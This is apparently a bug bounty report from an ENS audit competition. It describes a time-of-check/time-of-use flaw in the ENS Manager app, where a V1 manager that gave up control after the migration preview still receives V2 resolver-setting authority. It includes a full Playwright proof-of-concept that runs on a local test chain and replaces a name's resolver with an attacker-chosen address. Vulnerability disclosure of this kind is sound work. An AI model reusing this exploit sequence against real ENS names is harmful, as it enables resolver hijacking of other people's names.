92341 w a medium manager restores v2 resolver authority to a v1 manager removed before confirmation
Submitted on Sep 9th 2026 at 03:30:47 UTC by @Tradi3 for Audit Competition | ENS
- Report ID: #92341
- Report Type: Websites & Apps
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/manager
- Impacts:
- Hijacking or bricking an ENS name during a Manager flow (registration, v1 to v2 migration, or transfer), such as: - a registration or migration that assigns the name, its ownership, registry, or resolver to an attacker - redirecting the recipient of a name transfer - leaving a name permanently inaccessible after the flow
Description
Summary
Manager preserves a separate ENSv1 manager by saving the manager address shown in its Upgrade preview and later granting that address V2 ROLE_SET_RESOLVER. It does not bind that grant to the live ENSv1 registry owner when the user confirms Upgrade.
The embedded end-to-end test starts with an accurate V1 manager row. After Manager has prepared the normal Upgrade flow, that current manager itself relinquishes V1 control on-chain by calling ENSRegistry.setOwner(node, registrant). A live read confirms that the registrant is the manager before confirmation. The user then confirms Upgrade, but Manager restores V2 resolver authority to the removed manager. That account uses the restored role to replace the V2 resolver with an attacker-selected address.
The test finally has the owner revoke the stale role. The role becomes false, but the attacker-selected resolver remains. A separate corrective resolver transaction is required.
Vulnerability details
The Upgrade query is cached for five minutes in apps/manager/src/features/migration/hooks/useV1Names.ts:12-23:
return queryOptions({
queryKey: qk('migration', 'v1_names', {
address: address?.toLowerCase(),
}),
queryFn:
enabled && address ? () => getV1NamesForAddress(address) : skipToken,
staleTime: 5 * 60 * 1000,
})
The initial classification records a distinct V1 registry owner as managerAddress. Before execution, apps/manager/src/features/migration/service/migrationService.ts:886-927 rebuilds the atomic plan from the existing remaining classifications rather than rereading the live V1 registry manager:
const atomicPlan = await buildAtomicMigrationBatches({
chainId: ctx.publicClient.chain?.id ?? 11155111,
hca: ctx.hcaAddress,
wallet: ctx.walletAddress,
classified: remaining,
directRoutes,
profiles: plan.profiles,
})
buildAtomicMigrationBatches.ts:608-624 turns that retained address into both an execution and its success condition:
if (classified.managerAddress) {
innerExecutions.push({
phase: 'manager-role-grant',
name,
names: [name],
call: buildRoleGrantCall(classified),
})
verificationExpectations.push({
type: 'manager-role',
// ...
account: classified.managerAddress,
roleBitmap: ROLE_SET_RESOLVER,
})
}
buildRoleGrantCalls.ts:11-26 encodes the unchecked address directly:
functionName: 'grantRoles',
args: [resource, ROLE_SET_RESOLVER, name.managerAddress],
Finally, verifyAtomicMigrationBatch.ts:337-353 only verifies that the retained account received the role. It does not verify that the account was still the live V1 manager at execution.
The root cause is therefore a Manager TOCTOU: the identity whose authority will be restored is checked at preview but used later without a live binding at confirmation.
Attack path
- An unwrapped
.ethname has a registrant and a separate, attacker-controlled current V1 manager. - Manager receives that accurate state and enables the normal Upgrade flow.
- After preview, the current manager calls the real V1 Registry
setOwner(node, registrant), relinquishing its V1 authority. - A live read confirms the registrant is the V1 manager before Upgrade is confirmed.
- The registrant confirms the already prepared Upgrade flow.
- Manager migrates the name and grants V2
ROLE_SET_RESOLVERto the removed manager because that address remains in the retained classification. - The removed manager calls the real V2 Registry
setResolver()and installs an attacker-selected resolver address. - Revoking the stale role prevents further authorized calls but does not undo the resolver replacement.
The attacker cannot force the registrant to confirm Upgrade, and the account had legitimate V1 manager authority when the page first loaded. Those constraints reduce likelihood. A plausible attack is for the manager to appear to comply with a request to hand control back while an Upgrade preview is already open, timing the hand-back so Manager silently recreates its authority in V2. The attacker, rather than the victim, performs the post-preview state change.
Impact
The closest listed competition impact is the Critical Manager migration row: a V1-to-V2 migration assigns a name, registry, or resolver to an attacker. Here, the Manager migration itself grants resolver-setting authority to an address that is no longer the V1 manager. The later direct setResolver() call is consequence evidence; the in-scope root is the unintended grant created by Manager's migration transaction.
The proof does not claim ownership theft, irrecoverability, or an attacker-controlled address record. The victim retains token ownership and admin authority and can repair the resolver with another transaction. The demonstrated consequence is an unauthorized resolver assignment that persists after role revocation until that separate repair occurs. These feasibility and recovery constraints may reduce the adjudicated severity.
Why the earlier closure no longer applies
- “The tests do not execute the actual migration.” The new Playwright E2E opens the normal Manager migration page, authorizes the connected-wallet requests, signs and mines the migration, and waits for the real Upgrade success dialog.
- “The consequence test manually grants the role.” It does not. The test only reads
hasRoles; the actual Manager migration grants the role. - “The victim retains ownership and admin authority.” The claimed impact is the wrong resolver assignment, not ownership theft.
- “The victim can revoke the role.” The test performs that revocation.
hasRolesbecomes false whilegetResolver(label)still returns the attacker-selected address. - “The stale window depends on out-of-scope indexer timing.” The supplied V1 row exactly matches live chain state when Manager loads. The attacker changes the real V1 manager only after preview. Instrumentation records every V1-name query, and the first query after preview observes that the stale V2 role is already granted. No inaccurate execution-time indexer answer creates the result.
- “The attacker cannot create the reclaim transition.” The fresh proof does not use victim
reclaim(). The current manager/attacker itself sendsENSRegistry.setOwner(node, registrant)and the transaction succeeds before confirmation.
Prior-report disclosure
This is the same root as my closed report #89616, which Immunefi matched to private report #89249. The new evidence supplies the missing full migration flow; I am asking for one assessment of this root, not a second finding.
Proof of Concept
Proof of concept
Tested against the frozen audit-comp-ready branch at commit 1c9b47f18fcddd2e864dfe385c4171061c9811ae. The affected application source is unchanged from the imported competition snapshot. The PoC enables the repository's existing migration feature with posthog.featureFlags.overrideFeatureFlags({ migration: true }); this does not change migration planning, calldata, or chain state.
PoC files, embedded in full below:
poc-attacker-relinquishes-v1-manager.spec.ts— copy toe2e/projects/manager/tests/poc-attacker-relinquishes-v1-manager.playwright.config.ts— copy toe2e/projects/manager/
Install dependencies and start the repository's local stack from the repository root:
pnpm install --frozen-lockfile
pnpm e2e:infra:up
Start Manager in another terminal. The committed CI environment points it at the local stack and it listens on port 3000:
pnpm --filter manager dev -- --mode ci
Then run the PoC from e2e:
MANAGER_APP_URL=http://127.0.0.1:3000 \
ANVIL_RPC_URL=http://127.0.0.1:8545 \
pnpm exec playwright test \
--config projects/manager/poc-attacker-relinquishes-v1-manager.playwright.config.ts \
--reporter=list
After the test, stop the Manager process and run pnpm e2e:infra:down from the repository root.
Canonical output:
[attacker-manager-poc] name=mig-attacker-relinquish-1788879369310.eth
[attacker-manager-poc] registrant=0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
[attacker-manager-poc] former-manager=0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[attacker-manager-poc] transition-sender=0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[attacker-manager-poc] live-v1-manager=0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
[attacker-manager-poc] names-queries-at-preview=2
[attacker-manager-poc] names-query-observations=[{"requestNumber":1,"phase":"before-manager-load","staleRoleAlreadyGranted":false},{"requestNumber":2,"phase":"before-manager-load","staleRoleAlreadyGranted":false},{"requestNumber":3,"phase":"upgrade-clicked","staleRoleAlreadyGranted":true}]
[attacker-manager-poc] v2-role-granted=true
[attacker-manager-poc] hijacked-v2-resolver=0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
[attacker-manager-poc] role-after-revocation=false
[attacker-manager-poc] resolver-after-revocation=0x3c44cdddb6a900fa2b585dd299e03d12fa4293bc
1 passed (16.0s)
The V1 query route is mocked only because the local harness does not run the production V1 subgraph. Before Manager loads, the test creates the same manager and registrant on the local chain and confirms the live registry manager equals the row supplied to Manager. All later state transitions, the Manager UI, wallet authorization, migration, role grant, resolver replacement, role revocation, and final resolver read are real.
SHA-256:
d40aa16946c9d49be297e7a715788bd0fdedc486f1701b0559e8f1e72359134c poc-attacker-relinquishes-v1-manager.spec.ts
b37a68ce66e301484c6d39909809ed91c0ef85861708b358277e9dc956f66655 poc-attacker-relinquishes-v1-manager.playwright.config.ts
307d0ff84e946b419ae997138e7a8dcf868a42b39e48468200dcf44b5983cc5c TERMINAL-OUTPUT.txt
Full exact test:
import { labelToCanonicalId } from '@ensdomains/ensjs/utils/v2'
import {
type Address,
encodeFunctionData,
keccak256,
namehash,
parseAbi,
toHex,
} from 'viem'
import { privateKeyToAccount } from 'viem/accounts'
import {
createV1NameOnAnvil,
DEFAULT_ACCOUNT,
V2_ETH_REGISTRY_ADDR,
} from '../../../../packages/dev-migration-tool/src/MigrationTestPanel.helpers.js'
import {
authorizeTransactionsWhile,
expect,
test,
} from '../../../fixtures/playwright.manager.fixture.js'
import { publicClient, walletClient } from '../../../helpers/anvil-client.js'
import {
connectWithHeadlessWallet,
dismissBackendAuthModal,
} from '../../../helpers/manager-auth.js'
const MANAGER_APP_URL = process.env.MANAGER_APP_URL ?? 'http://localhost:3000'
const ANVIL_RPC_URL = process.env.ANVIL_RPC_URL ?? 'http://localhost:8545'
const V1_REGISTRY = '0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e' as Address
const ROLE_SET_RESOLVER = 1n << 24n
const V1_REGISTRY_ABI = parseAbi([
'function owner(bytes32 node) view returns (address)',
'function setOwner(bytes32 node, address owner)',
])
const V2_REGISTRY_ABI = parseAbi([
'function getResolver(string label) view returns (address)',
'function setResolver(uint256 resource, address resolver)',
'function hasRoles(uint256 resource, uint256 rolesBitmap, address account) view returns (bool)',
'function revokeRoles(uint256 resource, uint256 roleBitmap, address account) returns (bool)',
])
const waitForTx = async (hash: `0x${string}`) => {
const receipt = await publicClient.waitForTransactionReceipt({ hash })
expect(receipt.status).toBe('success')
return receipt
}
const mockInitialV1Manager = async (
page: import('@playwright/test').Page,
params: {
name: string
registrant: Address
formerManager: Address
},
) => {
const requestCounts = {
namesForAddress: 0,
profilesForDomains: 0,
phase: 'before-manager-load',
namesObservations: [] as Array<{
requestNumber: number
phase: string
staleRoleAlreadyGranted: boolean
}>,
}
const label = params.name.replace(/\.eth$/i, '')
const node = namehash(params.name)
const resource = labelToCanonicalId(label)
const now = Math.floor(Date.now() / 1000)
const domain = {
id: node,
labelName: label,
labelhash: keccak256(toHex(label)),
name: params.name,
resolver: null,
owner: { id: params.formerManager.toLowerCase() },
registrant: { id: params.registrant.toLowerCase() },
wrappedOwner: null,
parent: { name: 'eth', wrappedDomain: null },
registration: { expiryDate: String(now + 365 * 24 * 60 * 60) },
wrappedDomain: null,
}
await page.route('**v1-graphql.ens.dev/**', async (route, request) => {
const body = JSON.parse(request.postData() ?? '{}') as {
operationName?: string
}
if (body.operationName === 'getNamesForAddress') {
requestCounts.namesForAddress += 1
const staleRoleAlreadyGranted = await publicClient
.readContract({
address: V2_ETH_REGISTRY_ADDR,
abi: V2_REGISTRY_ABI,
functionName: 'hasRoles',
args: [resource, ROLE_SET_RESOLVER, params.formerManager],
})
.catch(() => false)
requestCounts.namesObservations.push({
requestNumber: requestCounts.namesForAddress,
phase: requestCounts.phase,
staleRoleAlreadyGranted,
})
return route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({ data: { domains: [domain] } }),
})
}
if (body.operationName === 'getProfilesForDomains') {
requestCounts.profilesForDomains += 1
return route.fulfill({
status: 200,
contentType: 'application/json',
body: JSON.stringify({ data: { domains: [] } }),
})
}
return route.continue()
})
return requestCounts
}
test.describe('attacker-controlled stale ENSv1 manager migration', () => {
test.describe.configure({ timeout: 300_000 })
test('restores a manager that relinquished V1 control after preview', async ({
page,
wallet,
accounts,
}) => {
const owner = privateKeyToAccount(accounts.getPrivateKey('user'))
const formerManager = privateKeyToAccount(accounts.getPrivateKey('user2'))
const attackerResolver = privateKeyToAccount(
accounts.getPrivateKey('user3'),
).address
expect(owner.address.toLowerCase()).toBe(DEFAULT_ACCOUNT.toLowerCase())
const label = `mig-attacker-relinquish-${Date.now()}`
await createV1NameOnAnvil(ANVIL_RPC_URL, label, 'unwrapped')
const v1Name = `${label}.eth`
const node = namehash(v1Name)
const resource = labelToCanonicalId(label)
await waitForTx(
await walletClient.sendTransaction({
account: owner,
to: V1_REGISTRY,
data: encodeFunctionData({
abi: V1_REGISTRY_ABI,
functionName: 'setOwner',
args: [node, formerManager.address],
}),
}),
)
expect(
(
await publicClient.readContract({
address: V1_REGISTRY,
abi: V1_REGISTRY_ABI,
functionName: 'owner',
args: [node],
})
).toLowerCase(),
).toBe(formerManager.address.toLowerCase())
const v1QueryCounts = await mockInitialV1Manager(page, {
name: v1Name,
registrant: owner.address,
formerManager: formerManager.address,
})
await page.addInitScript(() => {
const apply = () => {
const current = window as Window & {
managerFeatureFlagsOverridden?: boolean
posthog?: {
__loaded?: boolean
featureFlags?: {
overrideFeatureFlags(options: {
flags: Record<string, boolean>
}): void
}
}
}
if (!current.posthog?.__loaded || !current.posthog.featureFlags)
return false
current.posthog.featureFlags.overrideFeatureFlags({
flags: { migration: true },
})
current.managerFeatureFlagsOverridden = true
return true
}
if (!apply()) {
const timer = window.setInterval(() => {
if (apply()) window.clearInterval(timer)
}, 10)
}
})
await page.goto(MANAGER_APP_URL)
await connectWithHeadlessWallet(page, wallet)
await dismissBackendAuthModal(page)
await page.waitForFunction(
() =>
(
window as Window & {
managerFeatureFlagsOverridden?: boolean
}
).managerFeatureFlagsOverridden === true,
undefined,
{ timeout: 10_000 },
)
await page.goto(`${MANAGER_APP_URL}/migration`)
await page.waitForLoadState('networkidle')
const confirmButton = page.getByRole('button', {
name: /Upgrade 1 name/,
})
await expect(confirmButton).toBeEnabled({ timeout: 60_000 })
v1QueryCounts.phase = 'preview-ready'
const namesQueriesAtPreview = v1QueryCounts.namesForAddress
// The current manager, not the victim, creates the stale window by
// relinquishing V1 control after Manager has captured the preview.
await waitForTx(
await walletClient.sendTransaction({
account: formerManager,
to: V1_REGISTRY,
data: encodeFunctionData({
abi: V1_REGISTRY_ABI,
functionName: 'setOwner',
args: [node, owner.address],
}),
}),
)
const liveV1Manager = (
await publicClient.readContract({
address: V1_REGISTRY,
abi: V1_REGISTRY_ABI,
functionName: 'owner',
args: [node],
})
).toLowerCase()
expect(liveV1Manager).toBe(owner.address.toLowerCase())
v1QueryCounts.phase = 'attacker-relinquished-before-upgrade'
console.log(`[attacker-manager-poc] name=${v1Name}`)
console.log(`[attacker-manager-poc] registrant=${owner.address}`)
console.log(
`[attacker-manager-poc] former-manager=${formerManager.address}`,
)
console.log(
`[attacker-manager-poc] transition-sender=${formerManager.address}`,
)
console.log(`[attacker-manager-poc] live-v1-manager=${liveV1Manager}`)
console.log(
`[attacker-manager-poc] names-queries-at-preview=${namesQueriesAtPreview}`,
)
const successIndicator = page.getByRole('dialog', {
name: 'Your name has been upgraded!',
})
let migrationFinished = false
const authorizeAllMigrationTransactions = authorizeTransactionsWhile(
page,
wallet,
() => migrationFinished,
)
v1QueryCounts.phase = 'upgrade-clicked'
await confirmButton.click()
await successIndicator.waitFor({ state: 'visible', timeout: 90_000 })
v1QueryCounts.phase = 'success-visible'
migrationFinished = true
await authorizeAllMigrationTransactions
const firstNamesQueryAfterPreview = v1QueryCounts.namesObservations.find(
({ requestNumber }) => requestNumber > namesQueriesAtPreview,
)
expect(firstNamesQueryAfterPreview).toBeDefined()
expect(firstNamesQueryAfterPreview?.staleRoleAlreadyGranted).toBe(true)
const staleRoleWasGranted = await publicClient.readContract({
address: V2_ETH_REGISTRY_ADDR,
abi: V2_REGISTRY_ABI,
functionName: 'hasRoles',
args: [resource, ROLE_SET_RESOLVER, formerManager.address],
})
expect(staleRoleWasGranted).toBe(true)
await waitForTx(
await walletClient.sendTransaction({
account: formerManager,
to: V2_ETH_REGISTRY_ADDR,
data: encodeFunctionData({
abi: V2_REGISTRY_ABI,
functionName: 'setResolver',
args: [resource, attackerResolver],
}),
}),
)
const hijackedResolver = (
await publicClient.readContract({
address: V2_ETH_REGISTRY_ADDR,
abi: V2_REGISTRY_ABI,
functionName: 'getResolver',
args: [label],
})
).toLowerCase()
expect(hijackedResolver).toBe(attackerResolver.toLowerCase())
await waitForTx(
await walletClient.sendTransaction({
account: owner,
to: V2_ETH_REGISTRY_ADDR,
data: encodeFunctionData({
abi: V2_REGISTRY_ABI,
functionName: 'revokeRoles',
args: [resource, ROLE_SET_RESOLVER, formerManager.address],
}),
}),
)
const staleRoleAfterRevocation = await publicClient.readContract({
address: V2_ETH_REGISTRY_ADDR,
abi: V2_REGISTRY_ABI,
functionName: 'hasRoles',
args: [resource, ROLE_SET_RESOLVER, formerManager.address],
})
const resolverAfterRevocation = (
await publicClient.readContract({
address: V2_ETH_REGISTRY_ADDR,
abi: V2_REGISTRY_ABI,
functionName: 'getResolver',
args: [label],
})
).toLowerCase()
console.log(
`[attacker-manager-poc] names-query-observations=${JSON.stringify(v1QueryCounts.namesObservations)}`,
)
console.log(`[attacker-manager-poc] v2-role-granted=${staleRoleWasGranted}`)
console.log(
`[attacker-manager-poc] hijacked-v2-resolver=${hijackedResolver}`,
)
console.log(
`[attacker-manager-poc] role-after-revocation=${staleRoleAfterRevocation}`,
)
console.log(
`[attacker-manager-poc] resolver-after-revocation=${resolverAfterRevocation}`,
)
expect(staleRoleAfterRevocation).toBe(false)
expect(resolverAfterRevocation).toBe(attackerResolver.toLowerCase())
})
})
Full exact Playwright config:
import { defineConfig } from '@playwright/test'
import { baseConfig } from '../../playwright.config.base.js'
export default defineConfig({
...baseConfig,
timeout: 300_000,
testDir: './tests',
use: {
...baseConfig.use,
baseURL: process.env.MANAGER_APP_URL ?? 'http://localhost:3000',
},
projects: [
{
name: 'ens-attacker-manager-poc',
testMatch: /poc-attacker-relinquishes-v1-manager\.spec\.ts$/,
},
],
})
Expected behavior
Immediately before building each signed migration batch, Manager should read the current V1 Registry owner for every unwrapped name with a planned manager-role restoration. If it differs from the reviewed address, Manager should stop, rebuild the plan, and require the user to review the changed grantee.
Actual behavior
Manager grants V2 resolver authority to the previewed address even though that address relinquished V1 manager authority before confirmation.
Recommended fix
At confirmation, bind each planned manager-role grant to a fresh live V1 Registry owner(node) read. Remove or recompute managerAddress when it changed, and make post-state verification compare the recipient against the live value used for that execution rather than the retained preview value.